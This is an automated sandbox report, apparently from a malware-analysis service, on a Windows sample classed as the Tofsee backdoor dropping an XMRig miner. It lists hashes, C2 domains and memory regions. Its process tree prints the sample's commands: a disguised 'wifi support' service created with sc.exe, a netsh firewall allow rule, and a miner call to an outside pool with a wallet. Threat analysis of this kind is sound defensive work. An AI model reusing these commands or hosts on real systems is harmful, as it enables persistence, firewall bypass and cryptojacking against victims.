Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    06/11/2023, 10:41

General

  • Target

    b1dd4a875820cc75d790f72e06bd0aa33d64ac2866369d9cf0973ae0043290be.exe

  • Size

    220KB

  • MD5

    dd09a9973d27942da1be86ba0ec18e04

  • SHA1

    55c89c419b5431003036944bbea6be5a8d155728

  • SHA256

    b1dd4a875820cc75d790f72e06bd0aa33d64ac2866369d9cf0973ae0043290be

  • SHA512

    debf5b4e40bee2943689d0475606cdc9284e6a086929f607417a98e0b2cedc415a40ee39b9af8e6ff2c51dab28394acf772def29be0ffccc506c4190780e6469

  • SSDEEP

    3072:DRMf9iL/LPi/9Dp+jt1Rj08y+pHScyBO0RPhLlVP:D2fcLG/BS1R2aQfhT

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b1dd4a875820cc75d790f72e06bd0aa33d64ac2866369d9cf0973ae0043290be.exe
    "C:\Users\Admin\AppData\Local\Temp\b1dd4a875820cc75d790f72e06bd0aa33d64ac2866369d9cf0973ae0043290be.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2880
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vqvfgakj\
      2⤵
        PID:1908
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ktzkixp.exe" C:\Windows\SysWOW64\vqvfgakj\
        2⤵
          PID:2968
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vqvfgakj binPath= "C:\Windows\SysWOW64\vqvfgakj\ktzkixp.exe /d\"C:\Users\Admin\AppData\Local\Temp\b1dd4a875820cc75d790f72e06bd0aa33d64ac2866369d9cf0973ae0043290be.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2588
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vqvfgakj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2732
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vqvfgakj
          2⤵
          • Launches sc.exe
          PID:2700
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2696
      • C:\Windows\SysWOW64\vqvfgakj\ktzkixp.exe
        C:\Windows\SysWOW64\vqvfgakj\ktzkixp.exe /d"C:\Users\Admin\AppData\Local\Temp\b1dd4a875820cc75d790f72e06bd0aa33d64ac2866369d9cf0973ae0043290be.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2648
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2668
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2456

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\ktzkixp.exe

              Filesize

              13.4MB

              MD5

              7310c77eb6192d2fbceb0aab94d4817a

              SHA1

              6a30010353028ce671b7e9917d0cb75606062c84

              SHA256

              9a6c238de431b39c1416b02ebe16ac977e738c8e3e212fc91de083f21ffbad48

              SHA512

              76f655df73f6829573a4bf961e3511d6b8893753838c9bffa3e8fb93af536a1f114211ff2049e75a8be33d8f8c265c0551a3ae92e41be4450c01d8c6aed029f7

            • C:\Windows\SysWOW64\vqvfgakj\ktzkixp.exe

              Filesize

              13.4MB

              MD5

              7310c77eb6192d2fbceb0aab94d4817a

              SHA1

              6a30010353028ce671b7e9917d0cb75606062c84

              SHA256

              9a6c238de431b39c1416b02ebe16ac977e738c8e3e212fc91de083f21ffbad48

              SHA512

              76f655df73f6829573a4bf961e3511d6b8893753838c9bffa3e8fb93af536a1f114211ff2049e75a8be33d8f8c265c0551a3ae92e41be4450c01d8c6aed029f7

            • memory/2456-74-0x00000000002C0000-0x00000000003B1000-memory.dmp

              Filesize

              964KB

            • memory/2456-78-0x00000000002C0000-0x00000000003B1000-memory.dmp

              Filesize

              964KB

            • memory/2456-77-0x00000000002C0000-0x00000000003B1000-memory.dmp

              Filesize

              964KB

            • memory/2456-76-0x00000000002C0000-0x00000000003B1000-memory.dmp

              Filesize

              964KB

            • memory/2456-75-0x00000000002C0000-0x00000000003B1000-memory.dmp

              Filesize

              964KB

            • memory/2456-73-0x00000000002C0000-0x00000000003B1000-memory.dmp

              Filesize

              964KB

            • memory/2456-72-0x00000000002C0000-0x00000000003B1000-memory.dmp

              Filesize

              964KB

            • memory/2456-64-0x00000000002C0000-0x00000000003B1000-memory.dmp

              Filesize

              964KB

            • memory/2456-63-0x00000000002C0000-0x00000000003B1000-memory.dmp

              Filesize

              964KB

            • memory/2648-11-0x0000000000400000-0x00000000004EA000-memory.dmp

              Filesize

              936KB

            • memory/2648-16-0x0000000000400000-0x00000000004EA000-memory.dmp

              Filesize

              936KB

            • memory/2648-10-0x00000000005B0000-0x00000000006B0000-memory.dmp

              Filesize

              1024KB

            • memory/2668-43-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2668-50-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2668-31-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2668-34-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2668-35-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2668-36-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2668-37-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2668-38-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2668-39-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2668-40-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2668-41-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2668-42-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2668-27-0x0000000001A80000-0x0000000001C8F000-memory.dmp

              Filesize

              2.1MB

            • memory/2668-44-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2668-45-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2668-46-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2668-47-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2668-48-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2668-49-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2668-28-0x0000000000080000-0x0000000000086000-memory.dmp

              Filesize

              24KB

            • memory/2668-51-0x0000000000170000-0x0000000000175000-memory.dmp

              Filesize

              20KB

            • memory/2668-54-0x0000000000170000-0x0000000000175000-memory.dmp

              Filesize

              20KB

            • memory/2668-55-0x0000000005560000-0x000000000596B000-memory.dmp

              Filesize

              4.0MB

            • memory/2668-58-0x0000000005560000-0x000000000596B000-memory.dmp

              Filesize

              4.0MB

            • memory/2668-59-0x0000000000190000-0x0000000000197000-memory.dmp

              Filesize

              28KB

            • memory/2668-24-0x0000000001A80000-0x0000000001C8F000-memory.dmp

              Filesize

              2.1MB

            • memory/2668-23-0x00000000000D0000-0x00000000000E5000-memory.dmp

              Filesize

              84KB

            • memory/2668-21-0x00000000000D0000-0x00000000000E5000-memory.dmp

              Filesize

              84KB

            • memory/2668-20-0x00000000000D0000-0x00000000000E5000-memory.dmp

              Filesize

              84KB

            • memory/2668-19-0x00000000000D0000-0x00000000000E5000-memory.dmp

              Filesize

              84KB

            • memory/2668-15-0x00000000000D0000-0x00000000000E5000-memory.dmp

              Filesize

              84KB

            • memory/2668-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2668-12-0x00000000000D0000-0x00000000000E5000-memory.dmp

              Filesize

              84KB

            • memory/2880-1-0x00000000002F0000-0x00000000003F0000-memory.dmp

              Filesize

              1024KB

            • memory/2880-2-0x00000000001B0000-0x00000000001C3000-memory.dmp

              Filesize

              76KB

            • memory/2880-3-0x0000000000400000-0x00000000004EA000-memory.dmp

              Filesize

              936KB

            • memory/2880-6-0x0000000000400000-0x00000000004EA000-memory.dmp

              Filesize

              936KB

            • memory/2880-7-0x00000000001B0000-0x00000000001C3000-memory.dmp

              Filesize

              76KB